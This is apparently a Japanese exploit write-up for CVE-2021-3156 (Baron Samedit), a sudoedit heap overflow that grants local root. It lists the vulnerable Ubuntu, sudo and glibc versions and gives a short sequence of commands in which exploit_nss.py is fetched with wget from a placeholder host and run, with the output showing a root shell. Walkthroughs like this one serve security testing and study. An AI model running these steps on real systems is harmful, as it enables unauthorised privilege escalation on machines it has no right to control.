
CVE-2021-3156(Baron Samedit)のPythonによる概念実証エクスプロイト。脆弱なsudoビルドにおいて、sudoeditのヒープオーバーフローを悪用してローカルでroot権限へ昇格できる。
📅 日付: 2025-06-08
✍️ 著者: @TopskiyPavelQwertyGang
🧠 セキュリティリサーチャー | レッドチーム愛好家
sudoedit (sudo)sudoedit におけるヒープオーバーフローにより、ローカルユーザーが事前に用意したパラメータで sudoedit コマンドを実行した際に root アクセスを取得できる。
エクスプロイトは sudo < 1.9.5p2 のバージョンで有効であり、一般的な Ubuntu/Debian/CentOS のイメージも含まれる。
ASLR が有効な場合でも、この脆弱性は悪用可能なままである。
OS : Ubuntu 20.04.3 LTS
glibc : 2.31 (tcache ON)
sudo : 1.8.31 (脆弱)
ASLR : 2 (有効)
glibc と sudo のバージョンを確認した:ldd --version
sudo --version
python3 -m http.server 80
wget http://<IP>:80/exploit_nss.py
python3 exploit_nss.py
$ python3 exploit_nss.py
# whoami
root
CVE-2021-3156 の悪用は、glibc ≥ 2.26 かつ脆弱なバージョンの sudo であれば、ASLR が有効な場合でも依然として可能である。
最も安定していたのはエクスプロイト exploit_nss.py であり、NSS の設定が正しければ一発で成功した。
🧨 システムは制御下にある。